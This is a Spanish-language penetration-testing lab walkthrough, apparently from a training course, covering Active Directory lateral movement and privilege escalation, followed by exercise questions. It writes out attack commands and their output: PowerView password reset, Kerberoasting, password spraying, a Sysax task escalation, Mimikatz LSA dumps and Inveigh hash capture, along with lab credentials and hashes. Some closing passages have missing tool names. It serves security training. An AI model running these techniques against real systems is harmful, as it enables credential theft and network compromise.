Después de lootear el host DEV01, encontramos el siguiente conjunto de credenciales al volcar los LSA Secrets:
hporter:Gr8hambino!
Dado que tenemos persistencia en DEV01 podemos usarlo como punto de partida para lanzar nuevos ataques. Por ahora, usaremos el reverse shell que detectamos en el host dmz01tras el exploit PrintSpoofer, ya que es bastante estable. Más adelante, podríamos querer realizar algunas modificaciones adicionales dePort Forwarding y conectarnos mediante RDP o WinRM, pero este shell debería ser suficiente.
Usaremos el recopilador para enumerar todos los objetos de AD posibles y luego ingerir los datos en la interfaz gráfica de BloodHound para su revisión. Podemos descargar el ejecutable (aunque en una evaluación real, es mejor compilar nuestras propias herramientas) y usar el práctico administrador de archivos DNN para subirlo al objetivo. Queremos recopilar la mayor cantidad de datos posible y no tenemos que preocuparnos por la evasión, así que usaremos la flag -c All para usar todos los métodos de recopilación.
c:\DotNetNuke\Portals\0> SharpHound.exe -c All
2022-06-22T10:02:32.2363320-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-06-22T10:02:32.2519575-07:00|INFORMATION|Initializing SharpHound at 10:02 AM on 6/22/2022
2022-06-22T10:02:32.5800848-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-06-22T10:02:32.7675820-07:00|INFORMATION|Beginning LDAP search for INLANEFREIGHT.LOCAL
2022-06-22T10:03:03.3301538-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 46 MB RAM
2022-06-22T10:03:16.9238698-07:00|WARNING|[CommonLib LDAPUtils]Error getting forest, ENTDC sid is likely incorrect
2022-06-22T10:03:18.1426009-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-06-22T10:03:18.1582366-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-06-22T10:03:18.6738528-07:00|INFORMATION|Consumers finished, closing output channel
2022-06-22T10:03:18.7050961-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-06-22T10:03:18.8769905-07:00|INFORMATION|Status: 3641 objects finished (+3641 79.15218)/s -- Using 76 MB RAM
2022-06-22T10:03:18.8769905-07:00|INFORMATION|Enumeration finished in 00:00:46.1149865
2022-06-22T10:03:19.1582443-07:00|INFORMATION|SharpHound Enumeration Completed at 10:03 AM on 6/22/2022! Happy Graphing!
Esto generará un archivo Zip ordenado que podremos descargar de nuevo mediante la herramienta de gestión de archivos DNN (¡muy práctico!). A continuación, podemos iniciar el servicio neo4j (sudo neo4j start), y escribir bloodhound para abrir la herramienta GUI e ingresar los datos.
Buscando nuestro usuario hporter y seleccionando First Degree Object Control, podremos ver que el usuario tiene derechos ForceChangePassword sobre el usuario ssmalls.
Como apunte, podemos ver que todos los usuarios del dominio tienen acceso RDP al host DEV01. Esto significa que cualquier usuario del dominio puede acceder mediante RDP y, si escala privilegios, podría robar datos confidenciales como credenciales. Este hallazgo es importante; podemos calificarlo como Excessive Active Directory Group Privileges de riesgo medio. Si todo el grupo tuviera derechos de administrador local sobre un host, sin duda sería un hallazgo de alto riesgo.
afsh4ck@kali$ proxychains nmap -sT -p 3389 172.16.8.20
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 13:35 EDT
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.20:80-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.20:3389-<><>-OK
Nmap scan report for 172.16.8.20
Host is up (0.11s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
Para lograr esto, podemos usar otro comando de Port Forwarding SSH, de tipo Local Port Forwarding. Este comando nos permite enviar todo el tráfico RDP del host DEV01 al host dmz01 a través del puerto local 13389.
Una vez configurado este Port Forwarding, podemos usar xfreerdp para conectarnos al host mediante la redirección de unidad para transferir archivos de ida y vuelta fácilmente.
Observamos que solo tenemos acceso a la consola, ya que este servidor no tiene instalado el rol de Experiencia de Escritorio, pero solo necesitamos una consola. Podemos escribir net use para ver la ubicación de nuestra unidad redirigida y luego transferir la herramienta.
c:\DotNetNuke\Portals\0> net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
\\TSCLIENT\home Microsoft Terminal Services
The command completed successfully.
c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\PowerView.ps1 .
1 file(s) copied.
A continuación, escribimos powershell para colocarnos en una consola de PowerShell y podremos usar PowerView para cambiar la contraseña del usuario ssmalls de la siguiente manera:
PS C:\DotNetNuke\Portals\0> Import-Module .\PowerView.ps1
PS C:\DotNetNuke\Portals\0> Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force ) -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'ssmalls'
VERBOSE: [Set-DomainUserPassword] Password for user 'ssmalls' successfully reset
Podemos volver a nuestro host de ataque y confirmar que la contraseña se cambió correctamente. Generalmente, queremos evitar este tipo de actividad durante una prueba de penetración, pero si es nuestra única opción, debemos confirmarlo con nuestro cliente. La mayoría nos pedirá que procedamos para ver hasta dónde llegamos, pero siempre es mejor preguntar. Por supuesto, queremos anotar cualquier cambio como este en nuestro registro de actividad para poder incluirlo en un apéndice de nuestro informe.
En numerosas ocasiones, durante las pruebas de penetración, he tenido que recurrir a la búsqueda de recursos compartidos de archivos para encontrar información, como la contraseña de una cuenta de servicio o similar. A menudo he podido acceder a recursos compartidos departamentales (como TI) con credenciales con pocos privilegios debido a permisos NTFS débiles. En ocasiones, incluso he podido acceder a recursos compartidos de algunos o todos los usuarios de la empresa objetivo debido al mismo problema.
Con frecuencia, los usuarios desconocen que su unidad de disco personal es un recurso compartido de red asignado y no una carpeta local en su ordenador, por lo que pueden guardar allí todo tipo de datos confidenciales. Los permisos de los recursos compartidos de archivos son muy difíciles de mantener, especialmente en grandes organizaciones. A menudo, durante las pruebas de penetración, he tenido que buscar en recursos compartidos de archivos cuando me he quedado atascado. Recuerdo una prueba de penetración específica en la que tenía credenciales de usuario, pero me quedé atascado durante unos días y tuve que revisar recursos compartidos. Después de un tiempo, encontré un web.configarchivo con credenciales válidas para una cuenta de servicio MSSQL. Esto me otorgó permisos de administrador local en un servidor SQL donde un administrador de dominio había iniciado sesión, y se acabó el juego.
En otras ocasiones, he encontrado archivos con contraseñas en unidades de usuario que me han ayudado a avanzar. Dependiendo de la organización y de cómo estén configurados sus permisos de archivo, puede haber mucho que analizar y mucho "ruido". Una herramienta como Snaffler puede ayudarnos a gestionarlo y a centrarnos en los archivos y scripts más importantes. Probémoslo.
El archivo SQL Express Backup.ps1 en el recurso compartido de TI privado parece muy interesante. Vamos a descargarlo usando smbclient. Primero, necesitamos conectarnos.
afsh4ck@kali$ proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
Enter WORKGROUP\ssmalls's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 1 14:34:06 2022
.. D 0 Wed Jun 1 14:34:06 2022
Accounting D 0 Wed Jun 1 14:34:08 2022
Executives D 0 Wed Jun 1 14:34:04 2022
Finance D 0 Wed Jun 1 14:34:00 2022
HR D 0 Wed Jun 1 14:33:48 2022
IT D 0 Wed Jun 1 14:33:42 2022
Marketing D 0 Wed Jun 1 14:33:56 2022
R&D D 0 Wed Jun 1 14:33:52 2022
10328063 blocks of size 4096. 8177952 blocks available
Luego podemos navegar hasta el recurso compartido Development.
smb: \IT\Private\> cd Development\
smb: \IT\Private\Development\> ls
. D 0 Wed Jun 1 14:34:17 2022
.. D 0 Wed Jun 1 14:34:17 2022
SQL Express Backup.ps1 A 4001 Wed Jun 1 14:34:15 2022
10328063 blocks of size 4096. 8177952 blocks available
smb: \IT\Private\Development\> get SQL Express Backup.ps1
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \IT\Private\Development\SQL
smb: \IT\Private\Development\> get "SQL Express Backup.ps1"
getting file \IT\Private\Development\SQL Express Backup.ps1 of size 4001 as SQL Express Backup.ps1 (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)
Al revisar el archivo, vemos que se trata de una especie de script de backup con credenciales codificadas para backupadm, otra contraseña de acceso directo al teclado. Observo una tendencia en esta organización. Quizás el mismo administrador la configuró como la contraseña que usamos antes por fuerza bruta con Hydra, ya que esto está relacionado con el desarrollo.
Antes de intentar usar esta cuenta en algún lugar, investiguemos un poco más. Hay un archivo .vbs interesante en el recurso compartido SYSVOL, al que pueden acceder todos los usuarios del dominio.
afsh4ck@kali$ proxychains smbclient -U ssmalls '//172.16.8.3/sysvol'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
Enter WORKGROUP\ssmalls's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 1 14:10:57 2022
.. D 0 Wed Jun 1 14:10:57 2022
INLANEFREIGHT.LOCAL Dr 0 Wed Jun 1 14:10:57 2022
smb: \INLANEFREIGHT.LOCAL\> cd scripts
smb: \INLANEFREIGHT.LOCAL\scripts\> ls
. D 0 Wed Jun 1 14:34:41 2022
.. D 0 Wed Jun 1 14:34:41 2022
adum.vbs A 32921 Wed Jun 1 14:34:39 2022
10328063 blocks of size 4096. 8177920 blocks available
smb: \INLANEFREIGHT.LOCAL\scripts\> get adum.vbs
getting file \INLANEFREIGHT.LOCAL\scripts\adum.vbs of size 32921 as adum.vbs (57.2 KiloBytes/sec) (average 57.2 KiloBytes/sec)
Revisando el script encontramos otro conjunto de credenciales: account:L337^p@$$w0rD
afsh4ck@kali$ cat adum.vbs
Option Explicit
''=================================================================================================================================
''
'' Active Directory User Management script [ADUM]
''
'' Written: 2011/07/18
'' Updated: 2015.07.21
<SNIP>
Const cSubject = "Active Directory User Management report" 'EMAIL - SUBJECT LINE
''Most likely not needed, but if needed to pass authorization for connecting and sending emails
Const cdoUserName = "account@inlanefreight.local" 'EMAIL - USERNAME - IF AUTHENTICATION REQUIRED
Const cdoPassword = "L337^p@$$w0rD"
Al revisar BloodHound, no encontramos ningún accountusuario, así que podría ser una contraseña antigua. Según el año en los comentarios del script, es probable que lo sea. Podemos añadir esto a nuestros hallazgos sobre datos confidenciales en recursos compartidos y anotarlo en la sección de credenciales de nuestras notas del proyecto. En ocasiones, encontraremos contraseñas antiguas que aún se usan para cuentas de servicio antiguas y que podemos usar para un ataque de rociado de contraseñas.
Kerberosting
Para cubrir todas las bases, verifiquemos si hay usuarios compatibles con Kerberos. Podemos hacerlo mediante Proxychains usando GetUserSPNs.py o PowerView. En nuestra sesión RDP, cargaremos PowerView y enumeraremos las cuentas de Service Principal Names (SPN).
Podemos descargar este archivo mediante la redirección de la unidad RDP que configuramos anteriormente: copy .\ilfreight_spns.csv \\Tsclient\Home. Abrimos el archivo .csv con LibreOffice Calc o Excel, extraemoslos hashes y los agregamos a un archivo. Ahora podemos ejecutar Hashcat para ver si podemos crackear alguno y, de ser así, si corresponden a cuentas con privilegios.
Un hash falla, pero al consultar BloodHound, la cuenta no parece sernos útil. Aún podemos anotar otro hallazgo Weak Kerberos Authentication Configuration (Kerberoasting) y seguir adelante.
Password Spraying
PS C:\DotNetNuke\Portals\0> Invoke-DomainPasswordSpray -Password Welcome1
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] The domain password policy observation window is set to minutes.
[*] Setting a minute wait in between sprays.
Confirm Password Spray
Are you sure you want to perform a password spray against 2913 accounts?
[Y] Yes [N] No [?] Help (default is "Y"): y
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2913 users. Current time is 11:47 AM
[*] SUCCESS! User:kdenunez Password:Welcome1
[*] SUCCESS! User:mmertle Password:Welcome1
[*] Password spraying is complete
Encontramos una contraseña válida para dos usuarios más, pero ninguno tiene acceso interesante. Aun así, conviene anotar el hallazgo Weak Active Directory Passwords y continuar.
Técnicas varias
Probemos algunas cosas más para cubrir todas las necesidades. Podemos buscar en el recurso compartido SYSVOL archivos Registry.xml que puedan contener contraseñas de usuarios configurados con inicio de sesión automático mediante la directiva de grupo.
Esto no arroja resultados útiles. A continuación, podemos buscar contraseñas en la Description de los campos de usuario de AD, lo cual no es muy común, pero aún lo vemos de vez en cuando (¡incluso he visto contraseñas de cuentas de administrador de dominio y de empresa aquí!).
PS C:\DotNetNuke\Portals\0> Get-DomainUser * |select samaccountname,description | ?{$_.Description -ne $null}
samaccountname description
-------------- -----------
Administrator Built-in account for administering the computer/domain
frontdesk ILFreightLobby!
Guest Built-in account for guest access to the computer/d...
krbtgt Key Distribution Center Service Account
Encontramos una para la cuenta frontdesk, pero esta tampoco es útil. Cabe destacar que existen múltiples maneras de obtener la contraseña de una cuenta de usuario en este dominio, y existe un host con privilegios RDP otorgados a todos los usuarios del dominio. Aunque estas cuentas no tienen derechos especiales, sería un cliente el que solucionaría estos problemas, ya que un atacante a menudo solo necesita una contraseña para tener éxito en AD. Aquí podemos anotar un hallazgo Passwords in AD User Description Field y continuar.
Próximos pasos
En este punto, hemos investigado a fondo el dominio y hemos encontrado varios conjuntos de credenciales, pero nos topamos con un obstáculo. Volviendo a lo básico, podemos ejecutar un análisis para ver si algún host tiene WinRM habilitado e intentar conectarnos con cada conjunto de credenciales.
afsh4ck@kali$ proxychains nmap -sT -Pn -p 5985 172.16.8.50
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 14:59 EDT
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:80-<--timeout
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
Nmap scan report for 172.16.8.50
Host is up (0.12s latency).
PORT STATE SERVICE
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
El host 172.16.8.50, o MS01 es el único que queda en el que no hemos podido entrar aparte del controlador de dominio, así que vamos a intentarlo usando evil-winrm y las credenciales del usuario backupadm.
¡Funciona y estamos dentro!
afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.50 -u backupadm
ProxyChains-3.1 (http://proxychains.sf.net)
Enter Password:
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> hostname
ACADEMY-AEN-MS01
*Evil-WinRM* PS C:\Users\backupadm\desktop> cd c:\panther
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\panther> dir
Directory: C:\panther
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/1/2022 2:17 PM 6995 unattend.xml
Verifiquemos si contiene alguna contraseña, como a veces ocurre.
Encontramos las credenciales del usuario local ilfserveradm, con la contraseña Sys26Admin.
*Evil-WinRM* PS C:\panther> net user ilfserveradm
User name ilfserveradm
Full Name ilfserveradm
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/1/2022 2:17:17 PM
Password expires Never
Password changeable 6/1/2022 2:17:17 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/1/2022 2:17:17 PM
Logon hours allowed All
Local Group Memberships *Remote Desktop Users
Global Group memberships *None
The command completed successfully.
Este no es un usuario de dominio, pero es interesante que tenga acceso a Escritorio remoto, pero no sea miembro del grupo de administradores locales. Accedamos mediante RDP y veamos qué podemos hacer. Tras acceder mediante RDP y realizar una enumeración adicional, encontramos software no estándar instalado en el directorio C:\Program Files (x86)\SysaxAutomation.
Primero, creamos un archivo llamado pwn.bat en C:\Users\ilfserveradm\Documents que contenga la línea net localgroup administrators ilfserveradm /add para agregar a nuestro usuario al grupo de administradores locales (en ocasiones, necesitaremos corregirlo y anotarlo en los apéndices de nuestro informe). A continuación, podemos realizar los siguientes pasos:
Actualizamos la carpeta para supervisarla C:\Users\ilfserveradm\Documents
Controlamos Run task if a file is added to the monitor folder or subfolder(s)
Elegimos Run any other Program y elegimos C:\Users\ilfserveradm\Documents\pwn.bat
Desmarcamos Login as the following user to run task
Hacemos clic en Finish y luego Save
Finalmente, para activar la tarea, creamos un nuevo archivo .txt en el directorio C:\Users\ilfserveradm\Documents. Podemos comprobar que el usuario ilfserveradm se ha añadido al grupo Administrators.
C:\Users\ilfserveradm> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
ilfserveradm
INLANEFREIGHT\Domain Admins
The command completed successfully.
Post-explotación / Looting
A continuación, realizaremos una post-explotación en el host MS01. Observamos un par de archivos interesantes en la raíz de la unidad c:\ budget_data.xlsx, Inlanefreight.kdbx que merecería la pena revisar y, posiblemente, informar al cliente si no se encuentran en la ubicación prevista. A continuación, podemos usar Mimikatz, para elevar a un token NT AUTHORITY\SYSTEM y volcar los LSA Secrets.
c:\Users\ilfserveradm\Documents> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::secrets
Domain : ACADEMY-AEN-MS0
SysKey : 61b3d49a6205a1dedb14591c22d36afc
ERROR kuhl_m_lsadump_secretsOrCache ; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005)
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
564 {0;000003e7} 1 D 30073 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0136075a} 2 F 20322234 ACADEMY-AEN-MS0\ilfserveradm S-1-5-21-1020326033-369054202-3290056218-1002 (14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 20387820 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::secrets
Domain : ACADEMY-AEN-MS0
SysKey : 61b3d49a6205a1dedb14591c22d36afc
Local name : ACADEMY-AEN-MS0 ( S-1-5-21-1020326033-369054202-3290056218 )
Domain name : INLANEFREIGHT ( S-1-5-21-2814148634-3729814499-1637837074 )
Domain FQDN : INLANEFREIGHT.LOCAL
Policy subsystem is : 1.18
LSA Key(s) : 1, default {13764b01-b89c-8adf-69ec-8937ee43821e}
[00] {13764b01-b89c-8adf-69ec-8937ee43821e} 587be7dcfb75bb9ebb0c5c75cf4afb4488e602f9926f3404a09ecf8ba20b04e7
Secret : $MACHINE.ACC
cur/text: -2d"GC)[+6,[+mC+UC5KXVoH>j`S8CAlq1nQCP6:[*-Zv@_NAs`Pm$9xv7ohquyAKz1:rX[E40v)=p8-5@%eK3(<7tZW"I\7`,Bu#]N$'%A`$Z?E@9V2zdh=
NTLM:ced50a6f3cb256110200dcb022b32c12
SHA1:0b5cb5af0f13110312456892b7ebede53db440e8
old/text: -2d"GC)[+6,[+mC+UC5KXVoH>j`S8CAlq1nQCP6:[*-Zv@_NAs`Pm$9xv7ohquyAKz1:rX[E40v)=p8-5@%eK3(<7tZW"I\7`,Bu#]N$'%A`$Z?E@9V2zdh=
NTLM:ced50a6f3cb256110200dcb022b32c12
SHA1:0b5cb5af0f13110312456892b7ebede53db440e8
Secret : DefaultPassword
cur/text: DBAilfreight1!
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 37 62 35 26 80 4c 6b 2f 11 ca 06 25 ab 97 21 3f 84 f8 74 fa bc 69 a1 c4 37 2b df f8 cd 6c 8f 0a 8a d9 67 e9 42 cf 4f 96
full: 37623526804c6b2f11ca0625ab97213f84f874fabc69a1c4372bdff8cd6c8f0a8ad967e942cf4f96
m/u : 37623526804c6b2f11ca0625ab97213f84f874fa / bc69a1c4372bdff8cd6c8f0a8ad967e942cf4f96
old/hex : 01 00 00 00 51 9c 86 b4 cb dc 97 8b 35 9b c0 39 17 34 16 62 31 98 c1 07 ce 7d 9f 94 fc e7 2c d9 59 8a c6 07 10 78 7c 0d 9a 56 ce 0b
full: 519c86b4cbdc978b359bc039173416623198c107ce7d9f94fce72cd9598ac60710787c0d9a56ce0b
m/u : 519c86b4cbdc978b359bc039173416623198c107 / ce7d9f94fce72cd9598ac60710787c0d9a56ce0b
Secret : NL$KM
cur/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 64 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63
old/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 64 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63
Encontramos una contraseña establecida, pero no un nombre de usuario asociado. Parece ser una cuenta configurada con inicio de sesión automático, por lo que podemos consultar el Registro para encontrar el nombre de usuario.
Ahora tenemos un nuevo par de credenciales: mssqladm:DBAilfreight1!.
c:\Users\ilfserveradm\Documents> lazagne.exe browsers -firefox
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
[+] System masterkey decrypted for 6f898230-c272-4f85-875c-9f7b354ce485
[+] System masterkey decrypted for 9ccbb5e8-66c9-4210-a46c-a72e8f750734
[+] System masterkey decrypted for 08ed962e-44d9-4e2c-9985-392b699c25ae
[+] System masterkey decrypted for d4bfcc8b-5eec-485d-8adb-9ed4ae5656d6
[+] 0 passwords have been found.
For more information launch it again with the -v option
elapsed time = 3.29700016975
PS C:\Users\ilfserveradm\Documents> Import-Module .\Inveigh.ps1
PS C:\Users\ilfserveradm\Documents> Invoke-Inveigh -ConsoleOutput Y -FileOutput Y
[*] Inveigh 1.506 started at 2022-06-22T15:03:32
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.8.50
[+] Spoofer IP Address = 172.16.8.50
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer = Disabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Users\ilfserveradm\Documents
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
[+] [2022-06-22T15:04:05] TCP(445) SYN packet detected from 172.16.8.20:55623
[+] [2022-06-22T15:04:05] SMB(445) negotiation request detected from 172.16.8.20:55623
[+] [2022-06-22T15:04:05] Domain mapping added for INLANEFREIGHT to INLANEFREIGHT.LOCAL
[+] [2022-06-22T15:04:05] SMB(445) NTLM challenge 5EB0B310E7B8BA04 sent to 172.16.8.20:55623
[+] [2022-06-22T15:04:05] SMB(445) NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20(ACADEMY-AEN-DEV):55623:
mpalledorous::ACADEMY-AEN-DEV:5EB0B310E7B8BA04:<SNIP>
Acercándonos
Hemos enumerado el dominio por completo, nos hemos movido lateralmente y hemos saqueado lo que pudimos encontrar en los hosts objetivo. En este punto, tenemos las credenciales del usuario mssqladm y podemos seguir buscando una ruta para comprometer el dominio.
Caso práctico
Objetivo: 10.129.229.147
Pregunta 1
Busca un script de backup que contenga la contraseña del usuario backupadm. Indica la contraseña de este usuario como respuesta.
Configuración de pivoting con SSH
Este comando nos permite enviar todo el tráfico RDP del host DEV01 al host dmz01 a través del puerto local 13389 para conectarnos por RDP:
Configurar la ruta donde están los scripts de enumeración como PowerView.ps1 en nuestro equipo atacante.
Solo tenemos una shell:
Descargar PowerView
En la ruta c:\DotNetNuke\Portals\0:
c:\DotNetNuke\Portals\0> net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
\\TSCLIENT\home Microsoft Terminal Services
The command completed successfully.
c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\PowerView.ps1 .
1 file(s) copied.
Cambiar contraseña del usuario con PowerView
Pregunta 2
Realiza un ataque de Kerberoasting y recupera los tickets TGS de todas las cuentas configuradas como SPN. Descifra el TGS del usuario de backupjob y envía la contraseña en texto plano como respuesta.
Pregunta 3
Escala privilegios en el host MS01 y envía el contenido del archivo flag.txt en el Escritorio del administrador.
Pregunta 4
Obténel hash de la contraseña NTLMv2 del usuario mpalledorous y crackéalo para revelar el valor en texto plano. Envíe la contraseña del usuario como respuesta.
texto
texto
Podemos usar para cambiar la contraseña del usuario ssmalls. Nos conectamos al destino mediante RDP tras comprobar que el puerto esté abierto. RDP nos facilitará la interacción con el dominio mediante una consola de PowerShell, aunque también podríamos hacerlo mediante nuestro acceso de reverse shell.
Tras investigar un poco más el host y el AD, no encontramos nada útil. BloodHound no muestra nada interesante para el usuario ssmalls. Tanto la sección "" como la sección "" abordaron la búsqueda de recursos compartidos de archivos con Snaffler y CrackMapExec, respectivamente.
Primero, ejecutemos desde nuestra sesión RDP como el usuario hporter.
Esto no revela nada interesante, así que volvamos a ejecutar nuestra enumeración de recursos compartidos como el usuario ssmalls. Los usuarios suelen tener diferentes permisos, por lo que la enumeración de recursos compartidos debe considerarse un proceso iterativo. Para evitar tener que volver a usar RDP, podemos usar el módulo de CrackMapExec para explorar.
Otra técnica de movimiento lateral que vale la pena explorar es el Password Spraying. Podemos usar o la versión de Windows de Kerbrute desde el host DEV01, o usar Kerbrute desde nuestro host de ataque mediante Proxychains (todos con los que vale la pena experimentar).
En este punto, podríamos usar este shell de evil-winrm para enumerar el dominio con una herramienta como PowerView. Ten en cuenta que necesitaremos usar un objeto PSCredential para realizar la enumeración desde este shell debido al problema de " . Practica esta técnica y vea qué otras herramientas de enumeración de AD podría usar de esta manera.
Volviendo a la tarea en cuestión. Nuestro usuario no es administrador local y whoami /priv no muestra ningún privilegio útil. Al revisar el módulo , no encontramos nada interesante, así que buscamos credenciales. Tras investigar un poco, encontramos un archivo unattend.xml sobrante de una instalación anterior.
Una búsqueda rápida revela exploit de escalada de privilegios local. Según la descripción, este Servicio Programado Sysax se ejecuta como la cuenta local SYSTEM y permite a los usuarios crear y ejecutar trabajos de copia de seguridad. Si se elimina la opción de ejecutar como usuario, la tarea se ejecutará de forma predeterminada como la cuenta SYSTEM. ¡Hagamos una prueba!
Antes de continuar, revisemos si hay otras credenciales. Vemos que Firefox está instalado, así que podemos usar la para intentar recuperar las credenciales guardadas en el navegador. No hubo suerte, pero siempre vale la pena revisarlo.
También vale la pena ejecutar una vez que tengamos administrador local en un host para ver si podemos obtener hashes de contraseñas para cualquier usuario.